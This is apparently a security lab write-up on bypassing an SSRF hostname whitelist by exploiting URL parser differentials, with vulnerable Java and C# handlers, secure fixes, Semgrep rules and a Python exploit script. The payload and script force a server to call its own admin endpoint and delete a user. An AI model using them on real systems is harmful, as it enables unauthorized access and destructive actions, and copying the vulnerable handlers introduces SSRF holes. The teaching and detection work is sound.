Post

Lab 04: SSRF with whitelist-based input filter

Lab 04: SSRF with whitelist-based input filter

1. Executive Summary

Vulnerability: Server-Side Request Forgery (SSRF) via URL Parsing Inconsistencies.

Description: The application attempts to secure its stock check feature by validating the user-provided URL against a strict whitelist (e.g., requiring the hostname to be stock.weliketoshop.net). However, the application uses two different libraries: one to validate the URL and another to fetch the URL. By heavily obfuscating the URL using embedded credentials (@), double-URL encoding (%2523), and fragments (#), an attacker exploits the differential parsing logic between these two libraries. The validator is tricked into seeing the whitelisted domain, while the fetching library connects to localhost.

Impact: Privilege Escalation / Unauthorized Access. The attacker bypasses the whitelist defense and forces the server to access its internal local network, executing a destructive action against the admin panel.

2. The Attack

Objective: Bypass the strict hostname whitelist to access the local admin interface and delete the user carlos.

  1. Reconnaissance (Mapping the Filter):
    • Intercepting the POST /product/stock request, I changed stockApi to http://127.0.0.1/. The server blocked it, indicating a whitelist approach rather than a naive blacklist.
    • I tested http://username@stock.weliketoshop.net/. The server accepted it, confirming the parser supports HTTP Basic Authentication syntax (embedded credentials).
  2. Probing Parser Differentials:
    • I added a URL fragment character: http://username#@stock.weliketoshop.net/. The server rejected it.
    • I double-URL encoded the # to %2523: http://username%2523@stock.weliketoshop.net/. The server threw an “Internal Server Error”. This was the breakthrough. It meant the validator accepted the string (seeing the whitelisted host after the @), but the fetching library decoded %2523 to # (or %23) and attempted to connect to username as the host.
  3. Exploitation:
    • I constructed the final payload: http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
    • The Validator’s View: It sees the @ symbol and assumes everything before it is a username/password. It verifies that the host is stock.weliketoshop.net and approves the URL.
    • The Fetcher’s View: It decodes %2523 into %23 (and subsequently #). It interprets the URL as http://localhost:80 with a fragment of #@stock.weliketoshop.net/admin/delete?username=carlos. It opens a TCP connection to localhost on port 80.
    • The request succeeded, and carlos was deleted.

3. Code Review

Java (Spring Boot)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam String stockApi) {
    try {
        // VULNERABLE: Using java.net.URL for validation, but potentially a different client for fetching.
        URL url = new URL(stockApi);
        
        // The validator logic
        if (!url.getHost().equals("stock.weliketoshop.net")) {
            return ResponseEntity.status(403).body("Invalid host");
        }

        // The fetcher logic (using a different parsing mechanism implicitly or explicitly)
        // E.g., Apache HttpClient which might parse the string differently than java.net.URL
        CloseableHttpClient client = HttpClients.createDefault();
        HttpGet request = new HttpGet(stockApi); 
        
        CloseableHttpResponse response = client.execute(request);
        String responseBody = EntityUtils.toString(response.getEntity());
        
        return ResponseEntity.ok(responseBody);
    } catch (Exception e) {
        return ResponseEntity.status(500).build();
    }
}

Technical Flow & Syntax Explanation:

  • url.getHost().equals(...): The java.net.URL class parses the double-encoded string. It identifies the @ symbol and considers localhost:80%2523 as the user-info section, extracting stock.weliketoshop.net as the host. The whitelist check passes.
  • new HttpGet(stockApi): The Apache HTTP client constructor takes the raw string. It may perform its own URL decoding step before resolving the host. If it decodes %2523 to #, it truncates the host at localhost:80, treating the rest of the string as a client-side fragment.
  • The Flaw: Security controls must use the exact same parsed object as the execution engine. Passing the raw string stockApi to a second library creates the differential.

C# (ASP.NET Core)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] string stockApi)
{
    // VULNERABLE: Parsing differential between Uri class and HttpClient
    if (Uri.TryCreate(stockApi, UriKind.Absolute, out Uri parsedUri))
    {
        // Validator
        if (parsedUri.Host != "stock.weliketoshop.net")
        {
            return Forbid();
        }

        using (var client = new HttpClient())
        {
            try
            {
                // Fetcher uses the raw string, potentially parsing it differently internally
                var response = await client.GetStringAsync(stockApi);
                return Content(response, "text/html");
            }
            catch (Exception)
            {
                return StatusCode(500, "Error");
            }
        }
    }
    return BadRequest("Invalid URL format");
}

Technical Flow & Syntax Explanation:

  • Uri.TryCreate(...): The .NET Uri class constructs an object from the attacker’s string. Depending on the framework version, it may strictly separate user-info based on the @ symbol, successfully validating the domain.
  • client.GetStringAsync(stockApi): By passing the raw string instead of the validated parsedUri object, the HttpClient invokes its own internal parsing routines, which are susceptible to the double-URL encoding trick, resulting in a connection to localhost.

Mock PR Comment

The checkStock method validates the requested URL using one parsing mechanism but fetches the URL by passing the raw string to an HTTP client. This creates a “parser differential” vulnerability. Attackers can use URL encoding, fragments (#), and credentials (@) to bypass the whitelist while forcing the HTTP client to connect to localhost.

Recommendation: Do not accept arbitrary URLs from the client. Implement an Indirect Object Reference (e.g., map a stockId to an internal URL server-side). If a URL must be processed, ensure the HTTP client executes the exact URI/URL object that was validated, rather than re-parsing the raw string.

4. The Fix

Explanation of the Fix:

As with previous SSRF mitigations, the most robust defense is an Indirect Object Reference. By removing the ability for the client to dictate the URL structure, we completely neutralize parser differential attacks.

Secure Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SECURE: Hardcoded Map of allowed endpoints
private static final Map<Integer, String> STORE_ENDPOINTS = Map.of(
    1, "http://internal-stock.api:8080/check?storeId=1",
    2, "http://internal-stock.api:8080/check?storeId=2"
);

@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam int storeId) {
    // SECURE: Lookup trusted URL based on discrete user input
    String targetUrl = STORE_ENDPOINTS.get(storeId);
    
    if (targetUrl == null) {
        return ResponseEntity.badRequest().body("Invalid store selection.");
    }

    try {
        CloseableHttpClient client = HttpClients.createDefault();
        HttpGet request = new HttpGet(targetUrl); 
        
        CloseableHttpResponse response = client.execute(request);
        return ResponseEntity.ok(EntityUtils.toString(response.getEntity()));
    } catch (Exception e) {
        return ResponseEntity.status(500).build();
    }
}

Technical Flow & Syntax Explanation:

  • @RequestParam int storeId: The client only provides a numeric identifier.
  • STORE_ENDPOINTS.get(storeId): The server constructs the URL entirely from trusted, hardcoded data. There is no user string to parse, making parser differentials impossible.

Secure C#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private readonly Dictionary<int, string> _trustedStockApis = new()
{
    { 1, "http://internal-stock-1.api:8080/check" },
    { 2, "http://internal-stock-2.api:8080/check" }
};

[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] int storeId)
{
    // SECURE: Validating against an exact dictionary list
    if (!_trustedStockApis.TryGetValue(storeId, out var internalUrl))
    {
        return BadRequest("Invalid stock identifier.");
    }

    using (var client = new HttpClient())
    {
        var response = await client.GetStringAsync(internalUrl);
        return Content(response, "text/html");
    }
}

Technical Flow & Syntax Explanation:

  • TryGetValue(storeId, out var internalUrl): Safely maps the user’s integer to a fully trusted, server-defined URL. The HttpClient executes a URL that has never touched the client-side, eliminating the SSRF vector.

5. Automation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
import argparse
import requests
import sys

def exploit_ssrf_whitelist_bypass(url, target_user):
    stock_endpoint = f"{url.rstrip('/')}/product/stock"
    
    # Payload uses double URL encoding (%2523) for '#' and credentials '@' to trick the parser
    # The validator sees host: stock.weliketoshop.net
    # The HTTP client sees host: localhost:80
    ssrf_payload = f"http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username={target_user}"
    
    data = {
        "stockApi": ssrf_payload
    }
    
    print(f"[*] Targeting endpoint: {stock_endpoint}")
    print(f"[*] Delivering SSRF Payload: {ssrf_payload}")
    
    try:
        resp = requests.post(stock_endpoint, data=data)
        
        if resp.status_code == 200:
            print(f"[!!!] SUCCESS: Whitelist bypassed. User '{target_user}' should be deleted.")
        else:
            print(f"[-] Request failed with status code: {resp.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] A network error occurred: {e}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="Exploit SSRF bypassing strict whitelists via parser differentials.")
    parser.add_argument("url", help="Lab URL")
    parser.add_argument("--user", default="carlos", help="User to delete (default: carlos)")
    args = parser.parse_args()
    
    exploit_ssrf_whitelist_bypass(args.url, args.user)

if __name__ == "__main__":
    main()

6. Static Analysis (Semgrep)

The Logic: We want to detect instances where a URL string is validated using one method (like parsing it into a URI object and checking properties) but a different string or the raw unparsed string is passed to the HTTP client for execution.

Java Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rules:
  - id: java-ssrf-parser-differential
    languages: [java]
    message: |
      Potential SSRF Parser Differential. A URL is validated using java.net.URL/URI, 
      but the raw string is passed to the HTTP client. Pass the validated URI object 
      directly to the client to ensure consistent parsing, or use an allowlist.
    severity: ERROR
    patterns:
      - pattern-inside: |
          $URL = new URL($RAW);
          ...
          $CLIENT.execute(new HttpGet($RAW));
      - pattern-not: |
          $URL = new URL($RAW);
          ...
          $CLIENT.execute(new HttpGet($URL.toString()));

Technical Flow & Syntax Explanation:

  • $URL = new URL($RAW): Identifies the validation step where the raw input is parsed.
  • $CLIENT.execute(new HttpGet($RAW)): Flags the vulnerability because the raw, unvalidated string is passed to the execution sink, not the validated object.
  • pattern-not: Prevents false positives if the developer correctly passes the rigorously serialized output of the validated URL object to the fetcher.

C# Rule

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rules:
  - id: csharp-ssrf-parser-differential
    languages: [csharp]
    message: |
      Potential SSRF Parser Differential. 'Uri.TryCreate' is used for validation, 
      but the raw string parameter is passed to 'HttpClient'. Pass the validated 
      'Uri' object to the client to avoid bypasses via obfuscation.
    severity: ERROR
    patterns:
      - pattern-inside: |
          Uri.TryCreate($RAW, ..., out Uri $PARSED);
          ...
          $CLIENT.GetStringAsync($RAW);
      - pattern-not: |
          $CLIENT.GetStringAsync($PARSED);

Technical Flow & Syntax Explanation:

  • Uri.TryCreate($RAW, ..., out Uri $PARSED): Captures the C# validation mechanism parsing the untrusted input.
  • $CLIENT.GetStringAsync($RAW): Identifies the vulnerability where the raw string is executed instead of the safe $PARSED URI object.
This post is licensed under CC BY 4.0 by the author.